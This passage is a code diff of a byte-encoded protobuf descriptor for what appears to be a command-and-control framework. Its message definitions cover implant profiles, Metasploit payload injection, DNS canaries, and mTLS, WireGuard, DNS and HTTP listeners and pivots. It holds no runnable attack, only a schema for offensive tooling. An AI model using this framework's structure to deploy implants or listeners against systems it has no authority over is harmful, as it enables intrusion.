0x61, 0x72, 0x67, 0x65, 0x74, 0x73, + 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, + 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, + 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, + 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, + 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x12, 0x48, 0x0a, 0x12, 0x55, 0x6e, + 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, + 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, + 0x52, 0x12, 0x55, 0x6e, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x54, 0x61, 0x72, + 0x67, 0x65, 0x74, 0x73, 0x22, 0x7e, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, + 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x46, 0x75, 0x6c, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, + 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, + 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x51, 0x75, + 0x61, 0x6c, 0x69, 0x74, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x51, 0x75, 0x61, + 0x6c, 0x69, 0x74, 0x79, 0x22, 0xce, 0x01, 0x0a, 0x12, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, + 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x18, 0x0a, 0x07, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x73, 0x12, + 0x14, 0x0a, 0x05, 0x41, 0x72, 0x63, 0x68, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, + 0x41, 0x72, 0x63, 0x68, 0x73, 0x12, 0x36, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, + 0x75, 0x6c, 0x65, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x12, 0x36, 0x0a, + 0x08, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, + 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x61, 0x79, + 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x22, 0x1f, 0x0a, 0x09, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x44, 0x4e, 0x53, 0x43, 0x61, + 0x6e, 0x61, 0x72, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x1c, + 0x0a, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x09, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, + 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, + 0x65, 0x72, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, + 0x69, 0x67, 0x67, 0x65, 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x61, 0x74, + 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, + 0x22, 0x3b, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x08, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, + 0x61, 0x72, 0x79, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x22, 0x1c, 0x0a, + 0x0a, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x0e, 0x0a, 0x02, 0x49, + 0x50, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x50, 0x22, 0x55, 0x0a, 0x0e, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x22, 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, + 0x65, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x22, 0x31, 0x0a, 0x0d, 0x52, + 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb7, + 0x01, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, + 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, + 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, + 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, + 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, 0x0a, 0x04, 0x4a, 0x6f, 0x62, 0x73, + 0x12, 0x25, 0x0a, 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, + 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c, 0x0a, 0x0a, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, + 0x6f, 0x62, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x02, 0x49, 0x44, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, + 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, + 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0x59, 0x0a, 0x0f, 0x4d, 0x54, + 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, + 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x24, 0x0a, 0x0c, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x9d, 0x01, 0x0a, 0x0d, + 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, + 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e, + 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72, + 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, + 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x22, 0x0a, 0x0a, 0x57, + 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, + 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, + 0xae, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, + 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, + 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, + 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, + 0x22, 0x23, 0x0a, 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, + 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, + 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xf5, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, + 0x61, 0x69, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, + 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, + 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, + 0x65, 0x72, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, + 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, + 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, + 0x4f, 0x54, 0x50, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, + 0x63, 0x65, 0x4f, 0x54, 0x50, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, + 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, + 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, + 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, + 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, + 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, + 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, + 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, + 0x0d, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, + 0x0a, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x50, 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, - 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, - 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, - 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, - 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, - 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, + 0x50, 0x69, 0x70, 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, + 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, + 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x54, 0x0a, 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, + 0x12, 0x18, 0x0a, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, - 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, - 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, - 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, - 0x6f, 0x6c, 0x12, 0x12, 0x0a, 